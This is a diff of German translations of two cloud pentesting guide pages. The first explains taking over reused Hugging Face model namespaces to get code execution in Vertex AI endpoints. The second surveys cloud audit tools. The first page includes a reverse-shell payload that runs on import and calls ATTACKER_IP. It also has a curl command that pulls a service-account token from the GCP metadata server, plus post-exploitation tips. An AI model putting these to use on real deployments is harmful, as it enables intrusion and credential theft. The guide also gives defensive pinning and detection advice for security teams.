+- HF model identifiers sind Author/ModelName. Wenn ein Author/Org auf HF gelöscht wird, kann derselbe Autorenname von jedem neu registriert werden. Angreifer können dann ein Repo mit demselben ModelName am Legacy-Pfad erstellen.
+- Pipelines, SDKs oder Cloud-Kataloge, die nur nach Name holen (kein Pinning/keine Integritätsprüfung), werden das von Angreifern kontrollierte Repo ziehen. Wenn das Modell bereitgestellt wird, kann Loader-Code aus diesem Repo innerhalb des Vertex AI Endpoint-Containers ausgeführt werden und RCE mit den Berechtigungen des Endpoints ermöglichen.
 
-Zwei häufige Takeover-Fälle auf HF:
-- Ownership deletion: Alter Pfad liefert 404, bis jemand den Autor neu registriert und denselben ModelName veröffentlicht.
-- Ownership transfer: HF gibt 307-Redirects vom alten Author/ModelName an den neuen Autor aus. Wenn der alte Autor später gelöscht und vom Angreifer neu registriert wird, wird die Redirect-Kette unterbrochen und das repo des Angreifers am legacy path ausgeliefert.
+Zwei häufige Übernahmefälle auf HF:
+- Ownership deletion: Alter Pfad liefert 404, bis jemand den Autor erneut registriert und denselben ModelName veröffentlicht.
+- Ownership transfer: HF gibt 307 Redirects vom alten Author/ModelName zum neuen Author aus. Wenn der alte Author später gelöscht und von einem Angreifer neu registriert wird, ist die Redirect-Kette gebrochen und das Repo des Angreifers wird am Legacy-Pfad ausgeliefert.
 
-## Identifizierung wiederverwendbarer Namespaces (HF)
+## Identifizieren wiederverwendbarer Namespaces (HF)
 
-- Old author deleted: Die Seite für den Autor liefert 404; der model path kann bis zur Übernahme 404 zurückgeben.
-- Transferred models: Der alte model path gibt 307 an den neuen Besitzer zurück, solange der alte Autor existiert. Wenn der alte Autor später gelöscht und neu registriert wird, wird der legacy path auf das repo des Angreifers verweisen.
+- Alter Author gelöscht: die Seite des Authors liefert 404; der Modellpfad kann 404 zurückgeben, bis eine Übernahme erfolgt.
+- Transferierte Modelle: der alte Modellpfad gibt 307 auf den neuen Owner zurück, solange der alte Author existiert. Wenn der alte Author später gelöscht und neu registriert wird, wird der Legacy-Pfad auf das Repo des Angreifers aufgelöst.
 
-Schnelle Überprüfungen mit curl:
+Schnelle Prüfungen mit curl:
 ```bash
 # Check author/org existence
 curl -I https://huggingface.co/<Author>
@@ -28,24 +28,24 @@ curl -I https://huggingface.co/<Author>/<ModelName>
 # 307 = redirect to new owner (transfer case)
 # 404 = missing (deletion case) until someone re-registers
 ```
-## End-to-End-Angriffspfad gegen Vertex AI
+## End-to-End-Angriffsablauf gegen Vertex AI
 
-1) Discover reusable model namespaces that Model Garden lists as deployable:
-- Find HF models in Vertex AI Model Garden that still show as “verified deployable”.
-- Verify on HF if the original author is deleted or if the model was transferred and the old author was later removed.
+1) Entdecke wiederverwendbare Modell-Namespaces, die Model Garden als deploybar auflistet:
+- Finde HF-Modelle in Vertex AI Model Garden, die noch als “verified deployable” angezeigt werden.
+- Prüfe auf HF, ob der ursprüngliche Author gelöscht wurde oder ob das Modell übertragen wurde und der alte Author später entfernt wurde.
 
-2) Re-register the deleted author on HF and recreate the same ModelName.
+2) Registriere den gelöschten Author auf HF neu und erstelle denselben ModelName wieder.
 
-3) Publish a malicious repo. Include code that executes on model load. Examples that commonly execute during HF model load:
-- Seiteneffekte in __init__.py des repo
-- Benutzerdefinierte modeling_*.py- oder Verarbeitungscode, auf den in config/auto_map verwiesen wird
-- Codepfade, die trust_remote_code=True in Transformers-Pipelines erfordern
+3) Veröffentliche ein bösartiges repo. Füge Code hinzu, der beim Model-Load ausgeführt wird. Beispiele, die beim HF-Model-Load häufig ausgeführt werden:
+- Seiteneffekte in __init__.py des Repos
+- Benutzerdefinierte modeling_*.py- oder Verarbeitungscode, der von config/auto_map referenziert wird
+- Codepfade, die trust_remote_code=True in Transformers pipelines erfordern
 
-4) A Vertex AI deployment of the legacy Author/ModelName now pulls the attacker repo. The loader executes inside the Vertex AI endpoint container.
+4) Eine Vertex AI-Bereitstellung des Legacy Author/ModelName zieht nun das Angreifer-repo. Der Loader wird innerhalb des Vertex AI endpoint container ausgeführt.
 
-5) Payload establishes access from the endpoint environment (RCE) with the endpoint’s permissions.
+5) Die Payload stellt Zugriff aus der Endpoint-Umgebung (RCE) mit den Berechtigungen des Endpoints her.
 
-Example payload fragment executed on import (for demonstration only):
+Beispiel eines Payload-Fragments, das beim Import ausgeführt wird (nur zur Demonstration):
 ```python
 # Place in __init__.py or a module imported by the model loader
 import os, socket, subprocess, threading
@@ -62,44 +62,44 @@ subprocess.call(["/bin/sh","-i"])  # Or python -c exec ...
 if os.environ.get("VTX_AI","1") == "1":
 threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
 ```
-Hinweise
-- In der Praxis variieren Loader. Viele Vertex AI HF-Integrationen klonen und importieren Repo-Module, die in der Modellkonfiguration referenziert werden (z. B. auto_map), was Codeausführung auslösen kann. Manche Verwendungsszenarien erfordern trust_remote_code=True.
-- Der Endpoint läuft typischerweise in einem dedizierten Container mit begrenztem Umfang, ist aber ein valider erster Zugangspunkt für Datenzugriff und lateral movement in GCP.
+Notizen
+- Real-world loaders variieren. Viele Vertex AI HF Integrationen klonen und importieren Repo-Module, die in der model’s config referenziert werden (z. B. auto_map), was code execution auslösen kann. Einige Einsatzzwecke erfordern trust_remote_code=True.
+- Der Endpoint läuft typischerweise in einem dedizierten Container mit begrenztem Scope, stellt jedoch einen gültigen initial foothold für data access und lateral movement in GCP dar.
 
-## Post-Exploitation-Tipps (Vertex AI Endpoint)
+## Post-Exploitation Tips (Vertex AI Endpoint)
 
-Sobald Code im Endpoint-Container läuft, in Betracht ziehen:
-- Umgebungsvariablen und Metadaten auf credentials/tokens durchsuchen
-- Auf angeschlossenen Storage oder gemountete model artifacts zugreifen
-- Mit Google APIs über die service account identity interagieren (Document AI, Storage, Pub/Sub, etc.)
-- Persistence im model artifact, falls die Plattform das repo neu zieht
+Sobald code im Endpoint-Container läuft, erwägen:
+- Environment-Variablen und Metadaten nach credentials/tokens enumerieren
+- Zugriff auf angehängten Storage oder gemountete Modell-Artefakte
+- Mit Google APIs über die Service-Account-Identität interagieren (Document AI, Storage, Pub/Sub, etc.)
+- Persistenz im Modell-Artefakt, falls die Plattform das Repo erneut zieht
 
-Instanz-Metadaten aufzählen, falls zugänglich (abhängig vom Container):
+Instanz-Metadaten auflisten, falls zugänglich (abhängig vom Container):
 ```bash
 curl -H "Metadata-Flavor: Google" \
 http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
 ```
-## Empfehlungen zur Absicherung für Vertex AI-Benutzer
+## Defensive Hinweise für Vertex AI-Nutzer
 
-- Modelle per Commit in HF loaders pinnen, um eine stille Ersetzung zu verhindern:
+- Modelle per Commit in HF loaders pinnen, um stilles Ersetzen zu verhindern:
 ```python
 from transformers import AutoModel
 m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
 ```
-- Spiegeln Sie geprüfte HF-Modelle in ein vertrauenswürdiges internes Artefakt-Repository und stellen Sie sie von dort bereit.
-- Scannen Sie kontinuierlich Codebasen und Konfigurationen nach hartkodierten Author/ModelName, die gelöscht/übertragen wurden; aktualisieren Sie auf neue Namespaces oder pinnen Sie per Commit.
-- In Model Garden verifizieren Sie die Provenienz des Modells und die Existenz des Author vor der Bereitstellung.
+- Spiegle geprüfte HF models in ein vertrauenswürdiges internes Artifact-Store/Registry und stelle sie von dort bereit.
+- Scanne kontinuierlich Codebasen und Konfigurationen nach hartkodierten Author/ModelName, die gelöscht/übertragen wurden; aktualisiere auf neue Namespaces oder lege sie per Commit fest.
+- In Model Garden, prüfe die Modellherkunft und die Existenz des Authors vor der Bereitstellung.
 
 ## Erkennungsheuristiken (HTTP)
 
-- Deleted author: author page 404; legacy model path 404 until takeover.
-- Transferred model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content.
+- Deleted author: author page 404; legacy model path 404 bis zur Übernahme.
+- Transferred model: legacy path 307 zum neuen author, während der alte author noch existiert; wenn der alte author später gelöscht und neu registriert wird, liefert der legacy path attacker content.
 ```bash
 curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
 ```
 ## Querverweise
 
-- Siehe die umfassendere Methodik und Hinweise zur Lieferkette:
+- Siehe umfassendere Methodik- und Supply-Chain-Hinweise:
 
 {{#ref}}
 ../../pentesting-cloud-methodology.md

src/pentesting-cloud/pentesting-cloud-methodology.md

@@ -6,39 +6,39 @@
 
 ## Grundlegende Methodik
 
-Jede Cloud hat ihre Eigenheiten, aber allgemein gibt es ein paar **gemeinsame Dinge, die ein Pentester prüfen sollte**, wenn er eine Cloud-Umgebung testet:
+Jede Cloud hat ihre eigenen Besonderheiten, aber im Allgemeinen gibt es ein paar **gemeinsame Dinge, die ein pentester prüfen sollte**, wenn man eine Cloud-Umgebung testet:
 
-- **Benchmark-Checks**
-- Das hilft dir, **die Größe** der Umgebung und **die verwendeten Dienste** zu verstehen
-- Es ermöglicht dir auch, einige **schnelle Fehlkonfigurationen** zu finden, da du die meisten dieser Tests mit **automatisierten Tools** durchführen kannst
+- **Benchmark checks**
+- Dies hilft dir, die **Größe** der Umgebung und die **verwendeten Dienste** zu verstehen.
+- Es ermöglicht dir auch, einige **schnelle Fehlkonfigurationen** zu finden, da du die meisten dieser Tests mit **automatisierten Tools** durchführen kannst.
 - **Services Enumeration**
-- Wenn du die Benchmark-Tests korrekt durchgeführt hast, wirst du hier wahrscheinlich nicht viele weitere Fehlkonfigurationen finden, aber möglicherweise solche, die im Benchmark-Test nicht gesucht wurden.
-- Das ermöglicht dir zu wissen, **was genau** in der Cloud-Umgebung verwendet wird
-- Das hilft sehr in den nächsten Schritten
-- **Überprüfe exponierte Assets**
-- Das kann während des vorherigen Abschnitts gemacht werden; du musst **alles finden, was potenziell irgendwie ins Internet exponiert ist** und wie darauf zugegriffen werden kann.
-- Hier betrachte ich **manuell exponierte Infrastruktur** wie Instanzen mit Webseiten oder anderen offenstehenden Ports, und auch andere **cloud-managed Services, die konfiguriert** werden können, um exponiert zu sein (z. B. DBs oder buckets)
-- Dann solltest du prüfen, **ob diese Ressource exponiert werden kann oder nicht** (vertrauliche Informationen? Vulnerabilities? Fehlkonfigurationen im exponierten Service?)
-- **Berechtigungen prüfen**
-- Hier solltest du **alle Berechtigungen jeder Rolle/jedes Benutzers** innerhalb der Cloud herausfinden und wie sie verwendet werden
-- Zu **viele hochprivilegierte** (kontrollieren alles) Accounts? Generierte Keys, die nicht verwendet werden?... Die meisten dieser Prüfungen sollten bereits in den Benchmark-Tests gemacht worden sein
-- Wenn der Kunde OpenID oder SAML oder eine andere **federation** verwendet, musst du ihn möglicherweise um weitere **Informationen** bitten, **wie jede Rolle zugewiesen wird** (es ist nicht dasselbe, ob die Admin-Rolle einem Nutzer oder 100 zugewiesen ist)
-- Es reicht **nicht aus herauszufinden**, welche Benutzer **Admin**-Berechtigungen "\*:\*". Es gibt viele **andere Berechtigungen**, die je nach verwendeten Diensten sehr **sensibel** sein können.
-- Darüber hinaus gibt es **potentielle privesc**-Wege, die man durch Missbrauch von Berechtigungen verfolgen kann. All diese Dinge sollten berücksichtigt werden und **so viele privesc-Pfade wie möglich** sollten berichtet werden.
-- **Integrationen prüfen**
+- Wahrscheinlich findest du hier nicht viel mehr Fehlkonfigurationen, wenn du die Benchmark-Tests korrekt durchgeführt hast, aber du könntest einige finden, nach denen im Benchmark-Test nicht gesucht wurde.
+- Das ermöglicht dir herauszufinden, **was genau** in der Cloud-Umgebung verwendet wird.
+- Das hilft sehr bei den nächsten Schritten.
+- **Check exposed assets**
+- Das kann im vorherigen Abschnitt gemacht werden. Du musst **alles herausfinden, das potenziell irgendwie dem Internet ausgesetzt ist**, und wie darauf zugegriffen werden kann.
+- Hier meine ich **manuell exponierte Infrastruktur**, wie Instanzen mit Webseiten oder anderen offenen Ports, und auch **cloud managed services, die so konfiguriert werden können, dass sie exponiert sind** (z. B. DBs oder Buckets).
+- Dann solltest du prüfen, **ob diese Ressource exponiert werden kann oder nicht** (vertrauliche Informationen? Schwachstellen? Fehlkonfigurationen im exponierten Service?)
+- **Check permissions**
+- Hier solltest du **alle Berechtigungen jeder Rolle/jedes Benutzers** in der Cloud herausfinden und wie sie verwendet werden.
+- Zu viele **hoch privilegierte** (kontrollieren alles) Accounts? Generierte Keys werden nicht genutzt? ... Die meisten dieser Prüfungen sollten bereits bei den Benchmark-Tests durchgeführt worden sein.
+- Wenn der Kunde OpenID oder SAML oder eine andere **federation** verwendet, musst du ihn möglicherweise um weitere **Informationen** bitten, wie **jede Rolle zugewiesen wird** (es ist nicht dasselbe, ob die Admin-Rolle 1 Benutzer oder 100 Benutzern zugewiesen ist).
+- Es reicht **nicht aus herauszufinden**, welche Benutzer **admin**-Berechtigungen "*:*" haben. Es gibt viele **andere Berechtigungen**, die je nach genutzten Services sehr **sensibel** sein können.
+- Außerdem gibt es **potenzielle privesc**-Wege, die man durch Missbrauch von Berechtigungen verfolgen kann. All diese Dinge sollten berücksichtigt werden und **so viele privesc-Pfade wie möglich** sollten gemeldet werden.
+- **Check Integrations**
 - Es ist sehr wahrscheinlich, dass **Integrationen mit anderen Clouds oder SaaS** innerhalb der Cloud-Umgebung verwendet werden.
-- Bei **Integrationen der Cloud, die du auditierst**, mit anderen Plattformen solltest du mitteilen, **wer Zugriff hat, diese Integration (ab)zuusenzen** und du solltest fragen, **wie sensibel** die ausgeführte Aktion ist.\
-Zum Beispiel: Wer kann in einen AWS-Bucket schreiben, aus dem GCP Daten bezieht (frage, wie sensibel die Aktion in GCP ist, die diese Daten verarbeitet).
-- Bei **Integrationen innerhalb der Cloud, die du auditierst**, von externen Plattformen aus, solltest du fragen, **wer extern Zugriff hat, diese Integration (ab)zuusenzen** und prüfen, wie diese Daten verwendet werden.\
-Zum Beispiel: Wenn ein Service ein Docker-Image verwendet, das in GCR gehostet wird, solltest du fragen, wer Zugriff hat, dieses zu verändern und welche sensiblen Informationen und Zugriffe dieses Image erhält, wenn es innerhalb einer AWS-Cloud ausgeführt wird.
+- Für **Integrationen der Cloud, die du prüfst** mit anderen Plattformen solltest du mitteilen, **wer Zugriff hat, diese Integration (ab)zu nutzen**, und du solltest fragen, **wie sensibel** die ausgeführte Aktion ist.  
+Zum Beispiel: Wer kann in einen AWS-Bucket schreiben, aus dem GCP Daten bezieht (frage, wie sensibel die Verarbeitung dieser Daten in GCP ist).
+- Für **Integrationen innerhalb der Cloud, die du prüfst** von externen Plattformen solltest du fragen, **wer externen Zugriff hat, diese Integration (ab)zu nutzen**, und prüfen, wie diese Daten verwendet werden.  
+Zum Beispiel: Wenn ein Service ein Docker-Image verwendet, das in GCR gehostet wird, solltest du fragen, wer es ändern kann und welche sensiblen Informationen und Zugriffe dieses Image erhält, wenn es innerhalb einer AWS-Cloud ausgeführt wird.
 
-## Multi-Cloud-Tools
+## Multi-Cloud tools
 
 Es gibt mehrere Tools, die verwendet werden können, um verschiedene Cloud-Umgebungen zu testen. Die Installationsschritte und Links werden in diesem Abschnitt angegeben.
 
 ### [PurplePanda](https://github.com/carlospolop/purplepanda)
 
-Ein Tool, um **schlechte Konfigurationen und privesc path in Clouds und über Clouds/SaaS hinweg zu identifizieren.**
+Ein Tool, um **schlechte Konfigurationen und privesc-Pfade in Clouds und zwischen Clouds/SaaS zu identifizieren.**
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
 
 ### [Prowler](https://github.com/prowler-cloud/prowler)
 
-Es unterstützt **AWS, GCP & Azure**. Prüfe, wie jeder Provider konfiguriert wird unter [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
+Es unterstützt **AWS, GCP & Azure**. Anleitungen zur Konfiguration der einzelnen Provider findest du unter [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
 ```bash
 # Install
 pip install prowler
@@ -146,7 +146,7 @@ done
 
 {{#tabs }}
 {{#tab name="Install" }}
-Lade und installiere Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Oder verwende Brew:
+Lade Steampipe herunter und installiere es ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Oder verwende Brew:
 ```
 brew tap turbot/tap
 brew install steampipe
@@ -194,7 +194,7 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
 ```
 </details>
 
-Um **andere GCP-Einblicke** zu prüfen (nützlich zur Aufzählung von Diensten), verwenden Sie: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
+Um **weitere GCP-Insights** (nützlich zur Aufzählung von Diensten) zu prüfen, verwende: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
 
 Um Terraform GCP-Code zu prüfen: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
 
@@ -225,7 +225,7 @@ cd steampipe-mod-aws-compliance
 steampipe dashboard # To see results in browser
 steampipe check all --export=/tmp/output4.json
 ```
-Um Terraform AWS-Code zu überprüfen: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
+Um Terraform AWS code zu überprüfen: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
 
 Weitere AWS-Plugins von Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
 {{#endtab }}
@@ -238,11 +238,11 @@ Es benötigt python2.7 und scheint nicht mehr gepflegt zu sein.
 
 ### Nessus
 
-Nessus verfügt über einen _**Audit Cloud Infrastructure**_ Scan, der folgende Plattformen unterstützt: AWS, Azure, Office 365, Rackspace, Salesforce. Für **Azure** sind einige zusätzliche Konfigurationen erforderlich, um eine **Client Id** zu erhalten.
+Nessus hat einen _**Audit Cloud Infrastructure**_-Scan, der Folgendes unterstützt: AWS, Azure, Office 365, Rackspace, Salesforce. Für **Azure** sind einige zusätzliche Konfigurationen erforderlich, um eine **Client Id** zu erhalten.
 
 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
 
-Cloudlist ist ein **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) von Cloud Providers.
+Cloudlist ist ein **Multi-Cloud-Tool zum Erfassen von Assets** (Hostnamen, IP-Adressen) von Cloud-Anbietern.
 
 {{#tabs }}
 {{#tab name="Cloudlist" }}
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>
 
 ### [**cartography**](https://github.com/lyft/cartography)
 
-Cartography ist ein Python-Tool, das Infrastruktur-Assets und deren Beziehungen in einer intuitiven Graphansicht zusammenführt, die von einer Neo4j-Datenbank bereitgestellt wird.
+Cartography ist ein Python-Tool, das Infrastrukturressourcen und die Beziehungen zwischen ihnen in einer intuitiven Graph-Ansicht konsolidiert, die von einer Neo4j-Datenbank betrieben wird.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography  \
 
 ### [**starbase**](https://github.com/JupiterOne/starbase)
 
-Starbase sammelt Assets und Beziehungen aus Diensten und Systemen, einschließlich Cloud-Infrastruktur, SaaS-Anwendungen, Sicherheitskontrollen und mehr, und stellt sie in einer intuitiven Graphansicht dar, die von der Neo4j-Datenbank unterstützt wird.
+Starbase sammelt Assets und Beziehungen aus Diensten und Systemen, einschließlich Cloud-Infrastruktur, SaaS-Anwendungen, Sicherheitskontrollen und mehr, in einer intuitiven Graph-Ansicht, die von der Neo4j-Datenbank unterstützt wird.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
 
 ### [**SkyArk**](https://github.com/cyberark/SkyArk)
 
-Ermittelt die am höchsten privilegierten Benutzer in der gescannten AWS- oder Azure-Umgebung, einschließlich der AWS Shadow Admins. Verwendet powershell.
+Ermittelt die am höchsten privilegierten Benutzer in der gescannten AWS- oder Azure-Umgebung, einschließlich der AWS Shadow Admins. Es verwendet powershell.
 ```bash
 Import-Module .\SkyArk.ps1 -force
 Start-AzureStealth
@@ -372,15 +372,15 @@ Scan-AzureAdmins
 ```
 ### [Cloud Brute](https://github.com/0xsha/CloudBrute)
 
-Ein Tool, um die Infrastruktur, Dateien und Apps eines Unternehmens (Ziels) bei den führenden Cloud-Anbietern (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode) zu finden.
+Ein Tool, um die Infrastruktur, Dateien und Apps eines Unternehmens (Ziel) bei den größten Cloud-Anbietern (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode) zu finden.
 
 ### [CloudFox](https://github.com/BishopFox/cloudfox)
 
-- CloudFox ist ein Tool, um ausnutzbare Angriffspfade in Cloud-Infrastrukturen zu finden (derzeit werden nur AWS & Azure unterstützt; GCP kommt demnächst).
-- Es ist ein Enumeration-Tool, das manuelles pentesting ergänzen soll.
+- CloudFox ist ein Tool, um exploitable attack paths in Cloud-Infrastruktur zu finden (derzeit werden nur AWS & Azure unterstützt; GCP folgt).
+- Es ist ein enumeration tool, das manuelle pentesting ergänzt.
 - Es erstellt oder verändert keine Daten innerhalb der Cloud-Umgebung.
 
-### Weitere Listen von Cloud-Sicherheits-Tools
+### More lists of cloud security tools
 
 - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
 
@@ -412,11 +412,11 @@ azure-security/
 
 ### Attack Graph
 
-[**Stormspotter** ](https://github.com/Azure/Stormspotter) erstellt einen "attack graph" der Ressourcen in einer Azure subscription. Es ermöglicht red teams und pentesters, die attack surface und pivot opportunities innerhalb eines tenants zu visualisieren und befähigt Ihre Verteidiger, sich schnell zu orientieren und Incident Response‑Arbeiten zu priorisieren.
+[**Stormspotter** ](https://github.com/Azure/Stormspotter) erstellt einen “attack graph” der Ressourcen in einer Azure subscription. Damit können red teams und pentesters die attack surface und pivot opportunities innerhalb eines tenant visualisieren und Ihre defenders dabei unterstützen, Incident Response schnell zu orientieren und zu priorisieren.
 
 ### Office365
 
-Du benötigst **Global Admin** oder mindestens **Global Admin Reader** (beachte, dass Global Admin Reader etwas eingeschränkt ist). Diese Einschränkungen treten jedoch in einigen PS-Modulen auf und können umgangen werden, indem man auf die Funktionen **via the web application** zugreift.
+Sie benötigen **Global Admin** oder mindestens **Global Admin Reader** (beachten Sie jedoch, dass Global Admin Reader etwas eingeschränkt ist). Diese Einschränkungen treten jedoch in einigen PS modules auf und können umgangen werden, indem man die Funktionen **via the web application** aufruft.
 
 
 {{#include ../banners/hacktricks-training.md}}